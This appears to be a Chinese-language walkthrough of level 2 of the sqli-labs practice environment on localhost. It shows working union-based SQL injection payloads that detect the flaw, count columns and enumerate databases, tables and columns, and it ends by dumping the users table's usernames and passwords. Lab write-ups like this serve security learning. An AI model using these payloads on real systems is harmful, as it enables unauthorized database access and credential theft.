前序:
我们经历过Less1的洗礼后,应该清楚什么是SQL注入,以及它的作用到底是什么,更重要的是已经初步了解数据库的一些知识,这样对我们接下来的学习有很大的帮助。
再次强调:
- 该教程均使用火狐浏览器
- HackBar自行从网络下载
在进行注入之前,我们需要复习几个经常使用的mysql(高版本所使用的方法)操作
- 查库:
结果为:select schema_name from information_schema.schemata;
- 查表:(该查询为靶场使用的数据库security)
结果为:select table_name from information_schema.tables where table_schema='security';
- 查列:
结果为:select column_name from information_schema.columns where table_name='users';
- 查字段:
结果为:select username,password from security.users;
声明
由于我搭建了不同的靶场,以及测试数据库,所以查询的结果比较多,大家可以忽略其中的一些,只需要看与本靶场相关的表单数据即可。
Less2
首先尽心简单的注入来判断,是否有注入漏洞,并且判断漏洞为什么样的类型
所以我们在URL中添加,并执行:
http://127.0.0.1/sqli-labs/Less-2/?id=1'
执行结果如下:
这时我们再把其中的报错语句拿出来分析:
'' LIMIT 0,1'
所以我们可以轻而易举的得出,存在注入漏洞,并且该注入漏洞为数字类型;
得出结论后,这样我们就方便了许多,直接使用order by语句进行排序查询,看一下有几个属性列(我已经查询过1,2,3列,所以直接查询第四个出结果)
使用的URL为:
http://127.0.0.1/sqli-labs/Less-2/?id=1 order by 4 --+
结果为:
可以清楚的看出报错的信息是什么,也就从侧面证明了该表单里面的属性列只有三列,并没有第四列
之后我们继续进行union select查询
使用的URL为:
这个查询的目的,要再次强调一下union select的重要性,这样我们可以利用其返回的位置能显示出来的信息,来完成查询所需要数据在哪里显示
直接SQL注入
首先使用的SQL语句为:
SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(schema_name) from information_schema.schemata;
查询结果为:
可以看出我们有多少数据库可以显示出来,其实可以一一进入这些数据库查询一下都有哪些需要的数据,但是我因为麻烦所以选择直接进入security数据库
接下来进行查表,所使用的SQL语句为:
SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';
查询结果为:
在这之后我们需要知道username,password所以我们需要进行属性列查询
使用的该SQL语句为:
SELECT * FROM users WHERE id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';
查询结果为:
根据这个得到结果,我们可以得出所需要的数据均存在username和password中
所以我们进行以下的操作,使用该SQL语句得出结果
SELECT * FROM users WHERE id=-1 union select 1,2 ,group_concat(concat_ws('~',username,password))from security.users;
第二关也就到此结束了…